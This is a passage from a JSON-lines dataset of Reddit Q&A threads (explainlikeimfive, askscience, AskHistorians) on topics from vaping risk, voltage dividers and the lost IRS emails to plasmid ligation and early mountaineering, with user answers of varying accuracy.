is produced. Then there are box mods with subtanks and RDA's that produce ridiculous amounts of vapor. I feel as if the hefty mods would increase the 5% risk factor.", "Is vaping bad for you if you use the juices with 0% nicotine? I've always been curious. ", "\"better for you\" or less destructive?", "By 95% better for you they mean vaping does 1/20th (5%) the physical health damage of smoking cigarettes, not that 5% of vapor is worse than what's in cigarette smoke. This isn't based on an assessment of the contents of either method if nicotine ingestion, it's based on the observed health effects to a human after practicing either habit.", "Hello, long time ECR user here. Mainly the only sub I use actually, so I can shed some light here. While the top comment is true, there's some things they missed. \n\nYes, e-Juice is four chemicals. Propelyne Glycol (PG), Vegetable glycerin(VG), Nicotine(nic), and flavorings. \n\nAll of the things that go into e-Juice are FDA approved for consumption, aside from nic. Don't eat it. This means that if it were 0mg of nicotine, or nic free juice, that you could drink it and nothing would happen to you. Inhaling is a different story. \n\nThe reason people use ecigarretes is to get the same feeling as smoking, but in a much cheaper and somewhat healthier way. That's why we don't drink juice. Also so we don't OD on nic. \n\nThe main issues with health rise mainly from flavorings. While PG and VG have some health issues with them too, its not what people are worried about because a regular uses doesn't inhale that much of either on any given day. The flavoring however can be toxic. Alot of flavorings that are considered \"creamy\" ie Milk and Honey, have a chemical in them called Diacetyl. Now Diacetly is what gives the flavor that creamy taste but it was responsible a few years back for a terrible incident in microwaveable popcorn factories for causing lung scarring for all those who were inhaling large quantities of it on a regular basis. \n\nThis does not mean that if you vape you will get \"popcorn lung\" as its called. A lot of flavorings don't contain any Diacetyl. But may contain other chemicals that have some similar affects. \n\nNow, some vapers are oblivious to this information and just say \"its water vapor man\" but a lot of people are informed in the risks we are taking and say \"I feel better than when I was smoking. I may be doing damage to my body but clearly it must be less\". \n\nSo in short. Mainly the flavorings contain chemicals that have been known to cause some issues with the lungs, but not cancer. And the amount of chemicals in the flavorings are much less than what is in cigarettes. Meaning that you can vape more juice, but it will do drastically less damage than a cigarette. It's all about what is actually going into your body and what it can do to you. ", "The same 5% of walking down the street. \nThe same 5% of eating potato chips. \nThe same 5% of drinking a beer or two. \nThe same 5% of not tying your shoes. \nThe same 5% as living in the city. \nThe same 5% of being taller than 6ft. \nThe same 5% of doing cardio. \nThe same 5% of eating organic food. ", "Strictly sepaking, 95% better than cigarettes doesn't mean 95% good and 5% bad, it means 95% less bad.\n\nLike, if you should get 100 knife stabs, it would only give 5, which is 95% better, but still not 95% good ;)", "What if I told you that people are more likely to believe a headline if it includes some statistic, even if that statistic is neither quantifiable or verifiable?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/Nicotine#Adverse_effects"], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "2iutmv", "title": "how is it that vladimir putin was nominated for the 2014 nobel peace prize?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2iutmv/eli5_how_is_it_that_vladimir_putin_was_nominated/", "answers": {"a_id": ["cl5nsl2", "cl5o3w2", "cl5u8ib", "cl5wz7v", "cl5xag3"], "score": [19, 67, 8, 2, 8], "text": ["In the same manner President Obama was nominated for and received it in 2009...\n\nThe award has slipped to being an International popularity contest, with no real basis needed.\n  ", "Formal nominations may be submitted by anyone in the following categories:\n\n* Members of national assemblies and governments of states.\n* Members of international courts.\n* University rectors; professors of social sciences, history, philosophy, law and theology; directors of peace research institutes and foreign policy institutes.\n* Persons who have been awarded the Nobel Peace Prize.\n* Board members of organizations that have been awarded the Nobel Peace Prize. \n* Active and former members of the Norwegian Nobel Committee; (proposals by members of the Committee to be submitted no later than at the first meeting of the Committee after February 1).\n* Former advisers to the Norwegian Nobel Committee.\n\nIf just one of those people thinks you should be nominated enough to go through with it, you can be a nominee. That doesn't mean you have any support or approval from the Committee; 278 people were nominated this year and you can bet there were some they discarded early. ", "The NPP is more of a political tool than a prize. If Putin had won, the message would've been basically \"Okay Mr. Putin, since you're supposed to be a peaceful guy, maybe you should leave Ukraine alone...\". Obama won in a similar way: the hope was that he would not follow in his predecessor's footsteps by pulling out of the Middle East. (Whether that was actually a good idea is an entirely different discussion)", "You are likely seeing this from western propaganda standpoint. If you look at it from a different angle, you can see that Crimea has peacefully rejoined Russian Federation, likely avoiding violent conflict similar to one that's happening in Ukraine currently. That's a pretty big achievement.", "Genocidal maniac Henry Kissinger received the Nobel Peace Prize in 1973 after arranging the secret bombing of Cambodian civilians en masse, which is of course a particularly horrific violation of international law. Also, although it's quite the faux pas to discuss, Peace Prize winner Barack Obama has presided over his fair share of war crimes, including practices even the former Bush administration had deemed barbaric, like making a policy of bombing people collecting their dead after drone strikes.\n\nIn other words, the Nobel Peace Prize is an Orwellian ode to the absurd and should be taken with a grain of salt the size of a mass grave."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "7n0jdt", "title": "how does a voltage divider actually work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7n0jdt/eli5_how_does_a_voltage_divider_actually_work/", "answers": {"a_id": ["dry4gkj", "dry4oss", "dry81d7", "drymgv6", "drzdogc"], "score": [2, 3, 5, 4, 2], "text": ["The derivation isn't too complicated. Assuming you're talking about the circuit element, let's take the more physics based approach rather than, say, nodal analysis.\n\nWe have a voltage supplier of 10 volts, and two resisters of resistance R. The total current in the circuit is 10/(R + R); this just comes from ohm's law, V = IR.\n\nThe voltage drop from the first resister is 10/(R + R) * R, then. The voltage drop across the second resister must be 10 - 10/(R+ R) * R. \n\nFrom here, we have the voltage potential at the second resister to be 10 * R/(R + R), which is the voltage divider formula.", "My highschool physics teacher had quite a good ELI5 explanation for this.\n\nImagine electricity is just a bunch of big dudes that love lifting stuff. \n\nTheir voltage tells you how much resistance they can still 'pick up' and their current tells you how many dudes there are.\n\nRemember:\nV = I*R and I = V/R\n\nSo a high resistance means not very many dudes will walk but their capacity of lift is high and low resistance means there are a lot of dudes but they do very little work. (Sort of, I know this doesn't tell the full story)\n\nNow what happens in a voltage divider? You have two resistors in Series. When the dudes walk over the first resistor they pick up some resistance and thus their capacity (V) goes down. Then when they pick up the next resistor they are saturated and V=0.\n\nSo would you look at the Voltage in-between the resistors you will see the dudes there can still pick up some more, but not everything. Thus the voltage is 'divided'", "It's possibly easier to consider an old-fashioned slide potentiometer that we used at school years ago, rather than discrete resistors.\n\nA length of resistace wire is fixed stretchad out along a piece of wood and one terminal of a battery connnected to each end.  Connect one probe of a  voltmeter to one end and slide the other probe up and down the wire.  When the two probes are at the same end, naturally there is zero volts measured.  When they are at opposite ends, it reads the full battery voltage. At intermediate positions you get intermediate voltages that go continuously from 0 to V in proportion to the distance.  So you have a continuously variable divider where Vout = Vbatt x (separation/total length) and thats equivalent to the resistances either side of the slider.\n\nThat setup is exactly the way a volume control works on a radio etc. the slider runs along a carbon resistor track and passes a signal on that is a proportion of the feed source.", "There are two voltages at the divider: the voltage across the whole thing and the voltage at the midpoint. The midpoint voltage must be less than the voltage across the whole thing (because of Kirchoff\u2019s voltage law), and that voltage is determined by the ratio of the device values. \n\nWhy? Because there\u2019s one current flowing through both devices. The voltage across each device for that current is given by its resistance value. In fact that\u2019s the definition of resistance. ", "A family of electrons wants to visit their friends. Their journey will take them through the Wound Wire Wood, and over Metal Oxide Mountain. They wake up in the morning and drink too much coffee, but that's okay because they will tire themselves out along their journey.\n\nTo make sure nobody gets lost, they must all line up and hold hands as they walk.  For this reason, they must move at the same pace throughout their journey (if somebody speeds up or slows down, their chain might break).  In order to figure out how fast to go they figure out how much energy they have, and how much work their total journey will take at a given speed. They do the math and set out at a reasonable pace.  When they reach the border of the woods and the mountain, they have used the energy required to hike through brambles and weave through trees, but they have exactly enough energy left to keep their pace as they hop along over the mountain.\n\nThis amount of remaining energy is related to how much energy they started with, and the proportion of their trip they have left to go.  Because it is harder to go over the mountains then to travel through the woods at the same pace, they have more than half their energy left.\n\nVoltage is how much energy each electron has, resistance is how difficult each leg of the trip is, and current is the speed at which the family takes their trip. The voltage at the middle of the two resistors is equal to the total voltage multiplied by the proportion of the remaining resistance to the total resistance.\n\nNote that if next time they decide to take Carbon Caves before going over Metal Oxide Mountain they would have to move at a slower pace because the trip is harder, and they would have less energy at the border of the caves and the mountain because the mountain represents a smaller fraction of their total trip.  They are able to reach the other side of the mountain with that smaller amount of energy because they set out at a slower pace."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "7wo5zz", "title": "how do small towns survive?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7wo5zz/eli5_how_do_small_towns_survive/", "answers": {"a_id": ["du1uc98", "du1uf9x", "du1uq9y", "du1x8ld", "du1yqk3", "du1z1vo", "du1zf38", "du1zjzw", "du20nmn", "du22cla", "du22rxn", "du25z8g", "du264cj", "du26iq6", "du26lv6", "du270dj", "du27jht"], "score": [149, 4, 9, 50, 4, 18, 2, 16, 16, 4, 9, 4, 2, 2, 2, 2, 2], "text": ["There is going to be some flow of money in through government things,  like teacher salaries,  Medicare,  Medicaid,  social security,  and welfare, building grants, education grants,  etc. \n\nSometimes people also have jobs in neighboring places or remote jobs,  in which case they are basically exporting their labor. \n\nHowever,  it is totally possible for small town to \"dry up.\" Often small towns like that did have one main export,  be it a factory,  a mine,  a few farms,  etc. And if that employer goes under then it can  ripple and slowly squeeze out every job.", "Very confused - are you asking how people can afford to live in a small town?  Or how the town itself has enough money to run government operations?  Or something else entirely?", "Money and goods come in and go out of small towns just like every other city. On a smaller scale, however.", " >  I've driven through towns that seemed to only have gas stations and a couple stores. If they have to buy from elsewhere, where does that money come from?\n\nFarmer comes into town to shop at the store, and brings his money with him.  When he leaves, the money stays at the store (For the present instant), and he takes his purchases with him back to the farm.  So the town exports \"distribution services\" to the surrounding agricultural lands.\n\nIt doesn't have to be a farmer.  It could be a hunter, a snowmobiler, a backpacker, some other form of tourist, or a DestituteGoldsmith.", "Plenty of small towns near big cities will have a sizable population that commutes to the big city to work, but prefers to live in a small town.\n\nDepending on where you live, if there is considerable farming/ranching there will be lots of economically viable land that is supported by a relatively small number of people.  [Totally made up numbers follow] If you have 100 acres of corn, it may only take 5 people to maintain it.  So there is no need to a grocery store or gas station every 5 miles like there is in the city.", "If there are people living in an area, it is because some sort of wealth is being created there.  \n\nIt could be lumber, it could be farms, it could be fishing, or it could be like Silicon Valley, technology.  Regardless, people don't live where there is nothing happening.   So somehow, people in that small town are generating new money (by creating, extracting, or harvesting something that can be sold).   \n\nSo let's say it's a farm town, and farmers grow the crops, they sell them, and that generates money which pays the guys transporting the crops and they use their money to pay for gas to haul the crops and everyone spends their money at the supermarket to eat while they are doing all this.   Then their taxes pay for roads and schools and water mains and electricity and fire and police and everything else that makes the world go round.   \n\nWere you asleep during macro and micro economics class?   \n\nJust kidding.\n", "Property owners pay taxes. If the town is to small to support itself then the property taxes would go to the county and the county would be responsible for said repair etc. \n\nThe small store would have a larger trading area then just the couple houses that are close buy. All the farms, acreages etc in the area would do some of their shopping there too. \n\nThe owners of be houses that are close buy could be retired, or they work in a nearby community, farm etc. ", "Most small rural towns are commercial hubs for local farmers.  They need places to get the basics without taking to much time away from their farms.  They also provide a place to delivery and sell their grain/cattle without having to ship it very far(most small town are connected via rail or highway and have large grain elevators or cattle yards).", "Your town of 1000 \"in the middle of nowhere\" is *still the middle*.  People from miles away - like farmers outside the city limits - are going to drive into town because that's where the nearest post office/store/etc is.\n\nMaybe it's on a highway/freeway/railroad with lots of traffic passing through.\n\nMaybe it's near a popular tourist destination, like a ski slope or hunting/hiking/camping area.", "The people aren\u2019t bound to that town. They may work elsewhere in nearby towns. Also, there may be farms, mines and other sources of jobs that are part of the town but no part of the central core. ", "So I live in such a small village - around 1500 homes, about 10miles from the outskirts of a major city (Bristol).\n\nWe manage to support a petrol station, local shop with a post office counter, hairdressers, tyre repair/mot garage, and a recently opened takeaway. \n\nMajor businesses are a land rover dealership and renishaw (a manufacturing concern). There are a small collection of businesses down by the old mill also, a hot tub sales and install company, a tank company, and some smaller ones. \n\nWe are primarily a dormitory village with families and retirees, not a lot of young single people. The village has a small primary school. All other kids are bussed to schools either 20mins away, or further. \n\nIt appears enough through traffic exists for the garage to stay in business, probably helped by the quarry trucks from you the road, though that will go in 5 years or so.\n\nWe do manage to support three pubs, one \"rough\" pub, one family friendly pub with food, and a micro brewery pub up the top of the village. \n\nThe shop does enough I think for filling in shops plus booze to stay open. The takeaway was opposed by the village and we'll have to see how that does.\n\nWe run the village using a parish council (of which I am a Councillor) and we pay for various services  &  amenities, have a say on on planning decisions (though that is administered at the county council level) out of what is known as a precept from the property taxes (known as council tax) which this year is about \u00a360k or so,  iirc around 8% of each properties tax. Councillors are unpaid at this level, elected for 4 years at a time, but are rarely opposed. We in fact had a shortfall of 3 in 2016 and filled those places by co-opting councillors, which is how I ended up helping out. We are not political, merely villagers looking out for the good of the village and keeping the place from falling apart. ", "Well depending on where you live, they don\u2019t really need more money... just enough.  In fact when you factor in cost of living and typically inheriting your family home, not much is needed at all.   Taxes are generally low and really all you got to pay for is food electric and internet ", "In some areas of Canada, it\u2019s pretty common for one or both partners to travel for work and work several weeks on/one week off, or something along those lines. My husbands home area is a string of tiny communities of 10-100 people. For the most part, anyone who works is working offshore (oil rigs, supply ships) or camp jobs in Alberta. They can live pretty much anywhere, since they fly out at the end of their shift. ", "Smaller towns typically have more retirees. Pension and Social Security bring in a lot of income. If the town is really small they will also kidnap tourist and take their belongings and traffic their organs. ", "The USDA has a Rural Development Agency that provides grants through local banks for public projects such as schools, fire stations, parks, etc...", "A lot of them don't.\n\nMost smaller towns and villages are shrinking and a lot of people in them are poor and/or old.\n\nMost large cities are growing.\n\nThe young people from smaller towns and villages go to the cities for jobs. The old people scrape by on pensions, social security, etc since  they would not be able to afford the rent/mortgage in a city.", "Think of it like your neighborhood block. What does your block export? I assume that most of the people on your block have a job that is not on your block. Sure, some may work from home, but most commute at least a short distance to go to work each day. People live there because they like the community for any number of reasons. \n\nSmall towns of 1000 people are the same thing, but just have a longer commute."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "b8lmt0", "title": "What does shower mold eat? Where is it getting its energy from?", "selftext": "You know the mold in your shower that you're always trying to get rid of? What it is eating? I don't understand what it's growing off of. Every living thing needs an energy source aka to eat, right? So what is the mold eating?\n\n & #x200B;\n\nIt can't be photosynthesizing because my bathroom doesn't have windows.\n\nIt can't be eating my dead skin cells/run off dirt because it's up near the ceiling too.\n\nIt can't be eating regular food because I don't eat or keep food in my shower.\n\n & #x200B;\n\nIs it eating my soap or shampoo or something? Or maybe it's like a predator that eats the bacteria on the walls. I really have no idea so I turn to reddit. Thank you!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/b8lmt0/what_does_shower_mold_eat_where_is_it_getting_its/", "answers": {"a_id": ["ek11awc", "ek5wqpp"], "score": [7, 2], "text": ["They can feed off any organic material. Hair, soap, cotton shower curtains, body oils, skin cells. People often don't clean their baths well so these things float around and spread everywhere. Regular scrubbing keeps you safe. ", "Your ceiling finish material maybe gypsum board, which is an inorganic mineral core sandwiched between two face sheets of paper. The mold may eat the paper. Moisture resistant veins of gypsum board replace paper with inorganic fibreglass.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.gypsum.org/multi-family-applications-for-specialty-gypsum-board/mold-moisture-resistant-gypsum-panels/"]]}
{"q_id": "29qreb", "title": "if the irs lost emails, wouldnt the recipients of those emails also have copies?", "selftext": "Or did those also get 'mysteriously' lost?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/29qreb/eli5_if_the_irs_lost_emails_wouldnt_the/", "answers": {"a_id": ["cinjx8o", "cinjzkf", "cinnvju", "cinpz2w", "cinqfep", "cinrh90", "cio2o04"], "score": [39, 10, 2, 27, 4, 2, 2], "text": ["It's a fool that looks for logic in the chambers of a government building.", "Yes, the recipients would.  But how will you know who the recipients were?", "Thats weird...they had computer crashes and lost ALL their emails too....hmmm.....NOTHING TO SEE HERE!!!\n", "No.  Here's the situation.\n \nThey use Outlook, and the System Administrator set a limit on the size of each person's mailbox to be 150 megs.   \n \nAfter it hits that number, you need to \"Archive\" your mailbox to a PST file (an Outlook Data File) and save it on your computer, or else you can't send or get any more emails.\n \nWhat happened here was, Lerner hit that 150 meg (arbitrary) limit and had to \"clear out\" her mailbox, removing all  the mail from the server and moving it to her machine.\n \nHer hard drive then (later) started to fail, and then failed epically (I've had this happen - I am the admin of a site that has data across thousands of drives) and unless she backed up her computer *itself* (most do not) the data is gone.\n \nGovernment standards mandate that data on broken drives be physically destroyed - physically, literally shredded - if the data is deemed unrecoverable.\n \nAnd that's where we are.", "I'm sorry but all of these posts are incredibly wrong.  Here is the real story.\n\nThe IRS had a policy of backing up the data on its email server (which runs Microsoft Exchange) every day. It kept a backup of the records for six months on digital tape. After six months, the IRS would reuse those tapes for newer backups. So when Congressional committees began requesting emails from the agency, its records only went back to late 2012.\n \nThe IRS also had two other policies that complicated things. The first was a limit on how big its employees\u2019 email inboxes could be. At the IRS, employees could keep 500 megabytes of data on the email server. If the mailbox got too big, email would need to be deleted or moved to a local folder on the user\u2019s computer.  This is a PST file.  One of the big problems with PST files is that they are prone to corruption. The original PST file format had a 2 GB size limit, and corruption would occur if the file grew beyond its limit. Modern PST files are less prone to corruption, but can still be problematic. This is especially true for PST files that are stored in locations where they might be accessed by more than one user at a time.\n \nEmails considered an \u201cofficial record\u201d of the IRS couldn\u2019t be deleted and, in fact, needed to also have a hard copy filed. Those emails that constitute an official record are ones that are loosely defined under IRS policy as ones that were \u201c[c]reated or received in the transaction of agency business,\u201d \u201cappropriate for preservation as evidence of the government\u2019s function or activities,\u201d or \u201cvaluable because of the information they contain\u201d.\n\nAlso note, the IRS has already produced 67,000 emails to and from Lerner, from 2009 to 2013, and were able to piece together 24,000 Lerner emails from the missing period based those who\u2019d been cc\u2019d in various messages. \n\nEdit: One other thing to add. The period of time Republicans care about is 2012 \u2013 the election year. The missing emails are from 2010 and 2011.", "To answer your question from an IT person:\nYes, those recipients would have a copy of those emails but to figure out who would have them is the better question. Since they mentioned Microsoft Exchange in the hearing, I'll make the simple point that by default Microsoft Exchange 2003 and later (I don\u2019t have knowledge or experience with 2k or earlier) stores transaction logs (a record of what was in the email, who it was from and where it ended up) and those logs can be retained for \u2018X\u2019 amount of time. A lot of times those logs get put into a cyclical form and overwrite each other as time go on (usually a week or so but depends on the admins). It is also possible to recreate \"lost\" emails with these logs but that's more of a last ditch effort. Additionally as stated by others, the backups were only retained for 6 months. Assuming the IRS was doing some form of \u201cfull server\u201d backup (where these logs were captured), it would have been possible to recover those emails within that time period. \nThe bigger question in my mind is why the backup tapes were not pulled from rotation if emails went missing? If after they (IRS internal IT or whomever handled their email) realized that the emails were moved off of the server and the hard drive that stored these PSTs crashed (and most likely not backed up) did the server admins not pull the tapes? We may never know\u2026\n", "Our emails are automatically archived to an archival server. We are a county government so I don't see why the IRS can't auto archive mail."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "1zaavc", "title": "How can ligation of an insert occur after the plasmid has been dephosphorylated?", "selftext": "When trying to ligate an insert into a plasmid you first cut the plasmid then remove the 5' phosphate groups of the sticky end to prevent self-ligation/religation. This lets you select for only complete plasmids (plasmids with your insert of choice)\n\nHow does the insert become incorporated into the plasmid if the 5' sticky end has no phosphate group to bond with?\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1zaavc/how_can_ligation_of_an_insert_occur_after_the/", "answers": {"a_id": ["cfs0n3n", "cfs0ol7"], "score": [2, 2], "text": ["The 5' end of the insert WILL have a phosphate (else the ligation will fail) and the ligation will produce a single stranded linkage of the insert and vector at each end of the insert. This is sufficient for cloning, since the cell will repair the single stranded cut when the plasmid is transformed.", "I believe there are two ways to do this.\n\n1. You can use T4 Polynucleotide Kinase to \"phosphotise\" the dephosphorylated 5' ends of the vector during the ligation\n\n2. The 3' ends of the insertion could contain a phosphate which will bind to the free 5' OH of the vector (5' dephosphorylated end)\n\nHope this helps"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1xwol8", "title": "what is rent seeking behavior, and what are good examples of it?", "selftext": "I'm so dumb that the Wikipedia article couldn't even help me. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1xwol8/what_is_rent_seeking_behavior_and_what_are_good/", "answers": {"a_id": ["cffaccr", "cffat1q", "cffd9ro", "cffzm3t"], "score": [15, 18, 7, 2], "text": ["There are great examples in the Wiki:\n\n >  Taxi licensing is a commonly-referenced example of rent-seeking. To the extent that the issuing of licenses constrains overall supply of taxi services (rather than ensuring competence or quality), forbidding competition by livery vehicles, unregulated taxis and/or illegal taxis renders the (otherwise consensual) transaction of taxi service a forced transfer of part of the fee, from customers to taxi business proprietors.\n\nRent-seeking is trying to get more money for yourself without increasing the overall amount of money available for everyone. So supporting a limitation on the number of taxi licenses and prohibiting livery services from operating in the same area you do freezes other competitors out of the market. The amount of money available for taxi services remains the same, but you're controlling access to that pool in ways that are advantageous to yourself.", "Rent seeking is using non-market power (e.g. political power) to extract value in excess of the value you are creating. This can take many forms from getting direct payments to reducing competition and raising prices. The general rule is that if an entity is seeking to force others to choose in a way different from what they would choose in a free market, then it can probably be described as rent seeking.\n\nIt is part of a study in the interactions between politics and economics and is a term used mostly by those who are skeptical of political involvement in markets.", "A good analogy is thinking of rent seeking in a school setting. \n\nBob wants a good grade on his math test. Instead of studying, doing his homework and working with his peers to better understand the material he simply bakes cookies for his teacher. Maybe even brings her roses and helps clean up her classroom. She gives him 101% on the test.\n\nThe \"value\" in this example is the grade--Bob is creating no value because he is not learning or retaining any information but he is succeeding over the students who played by the rules and actually tried to learn the material. \n\nThis example also helps to highlight how intuitive it is to see the unfairness of rent seeking in the market place (or school setting). ", "I swear I had never heard the term \"rent seeking\" before, and at first, I had no choice but to think it was a mental condition where people would seek out things to rent from other people. Like an aversion to buying stuff. Must rent - never buy!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1pgl5v", "title": "Prior to the sport of mountaineering appearing in the 1850s, is there any history of people climbing mountains or exploring other landscape features for no practical reason?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1pgl5v/prior_to_the_sport_of_mountaineering_appearing_in/", "answers": {"a_id": ["cd286ot", "cd2eha9", "cd2fma0", "cd2jumr"], "score": [19, 8, 3, 2], "text": ["While I can't give you a definitive answer as to it being for 'no practical reason', there is archaeological evidence for indigenous people in the southwestern United States climbing mountains prior to any people of European descent climbing them. I'm sure that there must be evidence for similar activities elsewhere; however, this is the area that I know.\n\nArchaeologists' main interpretation of most of the evidence for indigenous climbs of high peaks is that it was done for ritual purposes, such as collecting eagle feathers from high-altitude nests (eagle feathers being important ritually). Therefore a lot of the archaeological evidence that has been found relates to routefinding/markings such as [cairns](_URL_4_). For example, [Longs Peak/Mt Meeker](_URL_5_) (14,255 ft asl) in Rocky Mountain National Park was almost certainly a site for collecting eagle feathers and, although I don't have the book that would clarify this for me to hand (can edit later, when I get home), early hikers on the Peak recorded finding evidence of cairns and eagle remains near the top. From [an archaeological report on the region](_URL_2_): \n\n >  In addition to rock features, ethnographic consultations with Ute Elders established the spiritual nature of certain trails as conduits of spirit power and their religious association with sacred sites and sacred natural features in the physical landscape. \n\nIt's important to clarify that these indigenous mountain climbers were not like your modern Front Range-dwelling Coloradans who want to climb the 14ers (the over 50 mountains over 14,000 ft in the state), so drive up to the trailhead (say around 11,000 ft asl) from Denver (5280 ft asl) on the weekends. From about 6500 BC onwards, these indigenous hunter-gatherer groups lived in a seasonally-dictated round of ecological zones; they spent summers in the high country, gathering resources, and then would move slowly downslope to weather out the winter in lower altitude climes. These people would have had extensive knowledge of their entire migratory route, and would also have been very familiar with the hazards associated with high altitude features. Although it would be a mistake to think of indigenous societies as static, this knowledge continued into the 20th century. In 1914, a Longs Peak guide named Shep Husted and a Colorado Mountain Club member named Oliver Toll took a two-week long pack trip through the area of Rocky Mountain National Park with two elderly Arapaho tribe members, recording place names and knowledge. You can see photos from this trip at the Denver Public Library (the main branch), and Toll wrote a book describing the experience called *Arapaho Names and Trails: a Report of a 1914 pack trip*. \n\nIn addition to mountaineering, there is a lot of evidence for other natural features also being explored by indigenous people in the southwest. There are too many petroglyphs found in canyons to document here, and many more remain to be explored (and many more were destroyed forever by the construction of dams on the Colorado River). You can read about some in the vicinity of the Grand Canyon [here](_URL_0_). Some of the most impressive, and impressively remote in a 21st century sense, petroglyphs that I've ever seen are found in [Horseshoe Canyon](_URL_7_), part of Canyonlands National Park in Utah. Although it seems likely that indigenous people went into this canyon for a reason -- it was a source of water in the middle of quite a desert -- they left behind [petroglyphs](_URL_1_) that seem to have strong shamanistic/ritualistic elements. You can read more about the archaeology of Horseshoe Canyon [here](_URL_6_). If you're interested in seeing some petroglyphs and live anywhere in the southwestern USA, I can probably recommend a good place to go see them. \n\nSo did these indigenous people explore these landscape features for 'no practical reason'? That depends on how you feel about the quest for spirituality. However, if you talk to many people who do hike, mountaineer, canyoneer, boulder, trad climb, backcountry ski, or do any of the host of other explorer-type outdoor activities, you'll come across many a person who engages in those activities for spiritual reasons: to pit oneself against the mountain, to prove something to oneself, to be the first person looking at that vista or that horizon or just to experience it for oneself. \n\nFinally, it is not really relevant to your question because it deals more with practicalities, but you may be interested in [this ethnography of Arapaho and Ute life around Rocky Mountain National Park](_URL_3_). \n\n*Yes I just stepped WAY outside of my flair there, but I started my professional life as a southwestern archaeologist.*", "The Italian poet Petrarch, together with his brother climbed Mt. Ventoux, (6,273 ft) in the Rhone valley, \"Just for the view.\" \n\nHe wrote a letter about the climb to his old confessor back in Italy, which is how we know about it.\n\nPetrarch claimed that he was the first person since antiquity to have climbed a mountain for the view.  Of course, he had no way of knowing if this claim was true, but it indicates that his ascent was unusual.  It also indicates that he believed (we don't know why) that this was the sort of thing that people back in antiquity used to do.\n\nIn his letter he quotes this passage by St. Augustine: \n\n\"\"People are moved to wonder by mountain peaks, by vast waves of the sea, by broad waterfalls on rivers, by the all-embracing extent of the ocean, by the revolutions of the stars. But in themselves they are uninterested.\"\n\nSource:  _URL_0_", "It should be remembered that [the great middle classes who discovered \"mountaineering\"](_URL_0_) usually had local guides.\n\nWell [Otzi](_URL_1_) was found at 3200 metres or so and he dates back 5000 years or so. However he may have just been travelling from A to B (or escaping).\n\nPersonally I would have thought that whilst some are, if not a stroll, are quite easy to ascend, some Alpine peaks were a bit dangerous especially given the equipment available. Although I believe someone has used replicas of Otzi's equipment and found them fairly practical.\n\nMont Blanc was first [ascended in 1786 by Balmat and Paccard](_URL_2_). They are generally regarded as the first real Alpinists but there is no reason not to believe that many of the lesser peaks had been climbed by locals.", "Grant's memoirs includes an account of US soldiers climbing a mountain in Mexico (Popocatapetl) for recreation during the Mexican War (late 1840's).  Grant did not reach the summit, but others of his party did."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.blm.gov/az/st/en/prog/cultural/nampaweap.html", "http://www.airphotona.com/stockimg/images/09970.jpg", "http://proceedings.esri.com/library/userconf/proc06/papers/papers/pap_2243.pdf", "http://www.cr.nps.gov/history/online_books/romo/ethnography/brett.pdf", "http://www.dwelement.com/userfiles/image210_lg.jpg", "http://14ers.com/photos/longspeak/200508_Longs02a.jpg", "http://www.cnha.org/pdfs/HorseshoeBook.pdf", "http://www.utah.com/nationalparks/canyonlands/horseshoe_canyon.htm"], ["http://en.wikipedia.org/wiki/Ascent_of_Mont_Ventoux"], ["http://www.summitpost.org/how-the-british-created-modern-mountaineering/713630", "https://en.wikipedia.org/wiki/%C3%96tzi_the_Iceman", "http://www.summitpost.org/the-1rst-ascent-of-mont-blanc/850467"], []]}
{"q_id": "4zvxm8", "title": "how are the strangest unique artificial food additives \"discovered\"?", "selftext": "Beaver anal glands can be used as vanilla flavoring. What, how, and why did this ever become a thing? It just seems there is a fascinating story from Kentucky about this. Are there other \"flavorings\" we should know about?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4zvxm8/eli5_how_are_the_strangest_unique_artificial_food/", "answers": {"a_id": ["d6z5fg0", "d6z8rie", "d6zm9ik"], "score": [7, 6, 3], "text": ["A lot of food additives are only surprising because we are so distant from our food sources. \n\nBeaver anal glands? Well, people catch beavers. They are skinned, processed, etc. The glands had that smell, and one thing leads to another and you use it in your food.\n\nSaccharin was discovered because a chemist accidentally got some in his mouth.  He had no intention of finding a food additive, but noticed that when he went home that night his bread tasted sweet. I mirrored his experience after buying some liquid sweet n low, which had a little bit get on the outside of the bottle. I had moved it, and a few hours later was eating and was like why the hell is this thing sweet. \n\n", "Additives are usually discovered by accident, in the sense that when an additive has been found in Nature or a synthesized in a lab, it's only subsequently researched and given a purpose by us. \n\nI would absolutely recommend reading about the natural history of the Madagascar Periwinkle, or the medicinal derivatives based on toxins found in the flowering plants of the genus (*Digitalis*)[_URL_0_]. \n\nThe above examples don't showcase the use of substances taken from and inspired Nature and putting them in food; however, I think they're analogous to what you're asking about- a lot of seemingly conventional shit in Nature happens to be really useful once we begin to experiment with it", "A nitpick- The substance from beaver anal glands CAN be used as vanilla but they are not. Artificial vanilla flavoring and natural vanilla bean extract are much cheaper than rounding up a bunch of beavers and harvesting the castoreum. Castoreum is instead mostly used in the perfume industry, where the nuances of the scent and its interactions with other ingredients can be appreciated enough to fetch a luxury price. The whole 